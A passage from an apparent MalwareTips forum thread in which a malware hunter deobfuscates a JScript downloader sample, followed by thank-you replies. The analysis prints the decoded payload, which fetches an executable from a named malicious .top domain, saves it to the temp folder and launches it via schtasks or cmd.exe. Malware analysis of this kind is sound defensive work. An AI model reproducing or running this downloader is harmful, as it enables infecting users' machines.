ooO0OOO=(new Function("var oOOOOOo=oOoO0O0(\"l+eva+alal+veve+l+ave+alal+veve\");return oo0000O(oOOOOOo,31);")());
}
catch(er)
{
}
return ooO0OOO;
}

=> builds an anonymous function :
function anonymous() {
var oOOOOOo=oOoO0O0("l+eva+alal+veve+l+ave+alal+veve");
return oo0000O(oOOOOOo,31);
}
oOoO0O0 : Uses the string "l+eva+alal+veve+l+ave+alal+veve"

=> function oOoO0O0(O0o00oO)
{
var O0oOo00;
try
{

O0oOo00=(new Function("OoO000o","return OoO000o.match(/\\S{1}/g);")(O0o00oO));
}
catch (er)
{
}
return O0oOo00;
}

=> creates another anonymous function with parameter :
"l+eva+alal+veve+l+ave+alal+veve"
function anonymous(OoO000o) {
return OoO000o.match(/\S{1}/g); => regular expression : find parts that match : "one char that is not a blank char"​
}

=> it returns an array of char from the string :

"l+eva+alal+veve+l+ave+alal+veve"​
=> [ "l" , "+", "e", "v", "a", "+", "a", "l", "a", "l", "+", "v", "e", "v", "e", "+", "l", "+", "a", "v", "e", "+", "a","l", "a", "l", "+", "v", "e", "v", "e"]

=> array that will be used to build random part :) => 31 chars, several are the sames
=> 6 * "e"
=> 6 * "v"
=> 6 * "a"
=> 6 * "l"
=> 7 * "+"

=> "eval" and "+"

Remember what was said previously : the working decoder function needs "+" in one call , and "e"+"v"+"a"+"l" in others calls

We reach here (from previous anonymous function) => this is the random function : oo0000O(parameter1, parameter2)

- parameter 1 : the array of char for the random part
- parameter 2 : a value​
return oo0000O(oOOOOOo,31);

why a parameter 31 ? => 31 chars => used with the random function to get a value that will always be a index of the array of char

function oo0000O(Oo00O0o,OOOOOo0)
{
var o00OOoo;

try
{

o00OOoo=(new Function("oOo00oo","oo0OOo0","return oOo00oo[Math.floor(Math.random()*oo0OOo0)];")(Oo00O0o,OOOOOo0));
}
catch(er)
{
}
return o00OOoo;
}

=> returns a char from the array of char randomly
Now, if you remember the old samples I analyzed in this thread, you have seen all important parts are present, but written in another way, to obfuscate a bit more :)

(4) Let's Retrieve the download script that is obfuscated in the long string :

2 main methods :
- build a new js script with a working decoder, now we now the real parts needed,
- use the sample, with a small modification, to get automatically the good decoded part.

The second method is quick :

We just have to remove the +o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);" that must give eval(oO0OO0O);
=> replace it by return oO0OO0O (remember that oO0OO0O will be the decoded code)
=> this way, the entry point can me change to receive the obfuscated string

new Entry point :

var deobuscated_string = Oo0Ooo0(O0ooO0o());
var tempo =0; => breakpoint on this line
=> here : you will be able to look at the string received, using the debugger.​

And modified main loop => the body string concatenation of the decoder : I put "+" and return oO0OO0O in the good place
=> the random functions are no more called => the good decoder is directly build.
=> var deobuscated_string will receive the good string.

O0OoOO0=(new Function("OoOOOOo","var OOOo0oO="+"new Array(99,110,244,91,53,249,101,68),O00OoO0=OoOOOOo.match(/\\S{2}/g),oO0OO0O=\"\",oO0OO0o=0;for(var oO0OO0o=0,O00oOo0=0;oO0OO0o<O00OoO0.length;oO0OO0o++,O00oOo0++){if(O00oOo0>=OOOo0oO.length){O00oOo0=0;}oO0OO0O +=ooO0O00(parseInt(O00OoO0[oO0OO0o],16)^OOOo0oO[O00oOo0]);} return oO0OO0O;")(oOo0oOO));

Remark :

value+=some_other_value => value = value + some_other_value​

The real malware part of the script, that was hidden in the very long string :

I changed some parts on the following code, to avoid copy-paste => run => infection :p

Code:
function getDataFromUrl(url, callback) {
    try {
        var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
        xmlHttp.open("GET", url, false);
        xmlHttp.send();
        if (xmlHttp. status == 200) {
            return callback(xmlHttp.ResponseBody, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

function getData(callback) {
    try {
        getDataFromUrl("http://www.fffgooaldq.top/user.php?f=2.gif", function(result, error) {
            if (!error) {
                return callback(result, false);
            } else {
                getDataFromUrl("http://www.fffgooaldq.top/user.php?f=2.gif", function(result, error) {
                    if (!error) {
                        return callback(result, false);
                    } else {
                        getDataFromUrl("http://www.fffgooaldq.top/user.php?f=2.gif", function(result, error) {
                            if (!error) {
                                return callback(result, false);
                            } else {
                                return callback(null, true);
                            }
                        });
                    }
                });
            }
        });
    } catch (error) {
        return callback(null, true);
    }
}

function getTempFilePath() {
    try {
        var fs = new ActiveXObject("Scripting.FileSystemObject");
        var tmpFileName = "\\" + Math. random().toString(36).substr(2, 9) + ".exe";
        var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
        return tmpFilePath;
    } catch (error) {
        return false;
    }
}

function saveToTemp(data, callback) {
    try {
        var path = getTempFilePath();
        if (path) {
            var objStream = new ActiveXObject("ADODB.Stream");
            objStream.Open();
            objStream.Type = 1;
            objStream.Write(data);
            objStream.Position = 0;
            objStream.SaveToFile(path, 2);
            objStream.Close();
            return callback(path, false);
        } else {
            return callback(null, true);
        }
    } catch (error) {
        return callback(null, true);
    }
}

function pad(n) {
    return n < 10 ? "0" + n : n;
}
getData(function(data, error) {
    if (!error) {
        saveToTemp(data, function(path, error) {
            if (!error) {
                try {
                    var time = new Date(new Date().getTime() + 2 * 60 * 1000);
                    var runTime = pad(time.getHours()) + ":" + pad(time.getMinutes());
                    var wsh = new ActiveXObject("WScript .Shell");
                    var winVer = wsh.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentVersion");
                    if (winVer.indexOf("6.") >= 0 || winVer.indexOf("10.") >= 0) {
                        wsh. Run("schtasks /create /tn " + Math.random().toString(36).substr(2, 9) + " /sc once /tr " + path + " /st " + runTime);
                    } else {
                        wsh.Run("cmd.exe /c start " + path);
                    }
                } catch (error) {}
            }
        });
    }
});

We can see that it looks like what we have already seen in previous analysis.
I Will then not analyze the part we have already seen, only the differences.

The url(s) : the script allows 3 urls to be used (several trys)
- here, they put 3 times the same url : hXXp://www . fffgooaldq.top/user.php?f=2.gif

But we can see a big difference from previous samples :

var winVer = wsh.RegRead("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\CurrentVersion");
if (winVer.indexOf("6.") >= 0 || winVer.indexOf("10.") >= 0) {

wsh.Run("schtasks /create /tn " + Math.random().toString(36).substr(2, 9) + " /sc once /tr " + path + " /st " + runTime);
} else {
wsh.Run("cmd.exe /c start " + path);
}

=> it reads a registry entry :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion

=> read the key Currentversion : 6.3 in my case

if window version is >= 6. OR >= 10.

=> uses Schtasks.exe

Details here:
Schtasks.exe (Windows)

/create => creates a task
/tn random_name => to uniquely identifies the scheduled task
/sc once =>A value that specifies the schedule frequency
/tr path =>
the path of the file to be run at the schedule time : here, the payload downloaded from hXXp://www . fffgooaldq.top/user.php?f=2.gif
/st runTIme =>
specifies the start time
var time = new Date(new Date().getTime() + 2 * 60 * 1000);

=>get the current time, and add 2 minutes (2*60 *1000 milliseconds).

=> example : Fri Mar 31 19:07:43 UTC+0200 2017
var runTime = pad(time.getHours()) + ":" + pad(time.getMinutes());
=> get the hours and minutes parts of the Date object
it uses :

function pad(n) {
return n < 10 ? "0" + n : n;
}

=> to format the time : to make 2 values if the number is less than 10
=> with our example : runTIme : 19:07​
else :

it runs the payload with cmd.exe /c start path
(5) Conclusion :

Improvement of the family :
  • several values used for the XOR part with the encoded string
  • all the char from the first long obfuscated string are used (inprecedent version, only last 2 chars of group of 7 chars was used.
  • name of vars has been complicated to hurt our eyes / brain (when analyzing)
  • important parts divided in more functions.
  • the array for the random part contains 31 chars with 5 different possibilities :
- 31*31*31*31*31 = 28 629 151 possibilities to build the decoder

=> most of them will build a non working decoder.
- 7 * 6 * 6 * 6 * 6 = 9072 possibilities to get "+" "e" "v" "a" "l" but not specially in the good order

With the possibilities to get 5 different chars :

=> 5 ! = 5 * 4 * 3 * 2 * 1 = 120 different groups possible, and only one of them gives the good order that will make a working decoder

9072/120 working possibilities
I made some tests : from few seconds to minutes to get a working decoder​
  • uses Task Scheduler if the version of windows is if window version is >= 6. OR >= 10
=> the task will begin 2 minutes after
else : run the payload at the current time with cmd
Example of path + random name

C:\Users\DardiM\AppData\Local\Temp\e5nj25etn.exe
=> var path = getTempFilePath()
=> var fs = new ActiveXObject("Scripting.FileSystemObject");
=> object to manipulate files / folder
=> var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;

=> GetSpecialFolder(2) : 2 => %TEMP% folder
=> %TEMP% + "\' + Math.random().toString(36).substr(2, 9) + ".exe" +

- Math.random().toString(36).substr(2, 9)

=> random value converted into a string, and then 9 chars are retrieved from index 2 (third char) !

=> toString(radix)
=> radix : must be an integer between 2 and 36 :
2 - The number will show as a binary value
8 - The number will show as an octal value
16 - The number will show as an hexadecimal value​
then 36 : 16 + 2 + 8 => means : binary, octal, hexadecimal are allowed
=> why not keep the first chars ? Because the random function return a decimal number that begins by : 0.

=> the string also begins with "0."
Example :

=> "0.e5nj25etnr49"

=> we don't want this part in the random name :)
=> .substr(2, 9) (= retrieve from index 2, 9 chars)

=> "e5nj25etn"
=> %TEMP%\ + 9 random chars + ".exe"
=> C:\Users\DardiM\AppData\Local\Temp\e5nj25etn.exe
Edited : I retrieved the payload
Strange results :)

With another tool :
  • Error: Analysis failed: The package "modules.packages.exe" start function raised an error: Unable to execute the initial process, analysis aborted
 
Last edited:

Svoll

Level 13
Verified
Top Poster
Well-known
Nov 17, 2016
627
We just have to remove the +o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O()+"(oO0OO0O);" that must give eval(oO0OO0O);
=> replace it by return oO0OO0O (remember that oO0OO0O will be the decoded code)
=> this way, the entry point can me change to receive the obfuscated string

you are so right about o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O giving me a brain teaser and that its "A good way to make trouble to eyes and disturb the brain".

Thank you Penguin and it feels so good to have time to read some of your analysis again. I truly miss MT!
 

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
you are so right about o0ooO0O()+o0ooO0O()+o0ooO0O()+o0ooO0O giving me a brain teaser and that its "A good way to make trouble to eyes and disturb the brain".

Thank you Penguin and it feels so good to have time to read some of your analysis again. I truly miss MT!
Thanks Svoll :)
 

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top